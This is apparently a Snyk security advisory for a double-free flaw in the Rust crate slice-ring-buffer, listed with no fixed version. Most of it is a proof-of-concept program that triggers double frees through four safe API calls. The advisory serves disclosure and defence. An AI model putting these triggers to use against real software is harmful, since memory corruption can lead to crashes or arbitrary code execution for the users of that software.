Double Free Affecting slice-ring-buffer package, versions *


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Double Free vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-RUST-SLICERINGBUFFER-10946361
  • published25 Jul 2025
  • disclosed16 Jul 2025
  • creditGeorge Androutsopoulos

Introduced: 16 Jul 2025

New CVE NOT AVAILABLE CWE-415  (opens in a new tab)

How to fix?

There is no fixed version for slice-ring-buffer.

Overview

slice-ring-buffer is a double-ended queue that Deref's into a slice.

Affected versions of this package are vulnerable to Double Free via the internal handling of safe APIs. An attacker can cause memory corruption or potentially execute arbitrary code by invoking affected safe APIs that trigger double-free conditions due to unsound usage of unsafe code internally.

PoC

use slice_ring_buffer::*;
use std::io;

#[derive(Debug, Clone)]
struct StructA(String);

impl Drop for StructA {
    fn drop(&mut self) {
        println!("Dropping StructA with data at: {:?}", self.0.as_ptr());
    }
}

fn main() {
    println!("Select a bug:");
    println!("1 - DF due to extend_from_slice");
    println!("2 - DF due to shrink_to_fit");
    println!("3 - DF due to insert");
    println!("4 - DF due to into_iter");

    let mut input = String::new();
    io::stdin().read_line(&mut input).expect("Failed to read input");

    match input.trim() {
        "1" => {
            let mut dq1 = SliceRingBuffer::new();
            dq1.push_back(StructA(String::from("AAAA")));
            println!("pushed");
            dq1.pop_back();
            println!("popped");
            let other = &[StructA(String::from("BBBB"))];
            dq1.extend_from_slice(other);
            println!("extended: {:?}", dq1);
        }
        "2" => {
            let mut dq1 = SliceRingBuffer::new();
            dq1.push_back(StructA(String::from("AAAA")));
            dq1.reserve_exact(170);
            dq1.shrink_to_fit();
            println!("After shrink: {:?}", dq1.capacity());
        }
        "3" => {
            let mut vec = vec![
                String::from("0"), String::from("1"), String::from("2"),
                String::from("3"), String::from("4"), String::from("5"),
            ];
            let mut slice_deq = SliceRingBuffer::from(&vec[..]);
            println!("slice_deq_old = {:#?}", slice_deq);
            slice_deq.insert(3, String::from("X"));
            println!("slice_deq_new = {:#?}", slice_deq);
        }
        "4" => {
            let slice_deque = slice_ring_buffer::from_elem(String::from("DF"), 10);
            let iter1 = SliceRingBuffer::into_iter(slice_deque);
            let iter2 = &iter1.clone();
        }
        _ => {
            println!("Invalid option. Please select a number between 1 and 4.");
        }
    }
}

CVSS Base Scores

version 4.0
version 3.1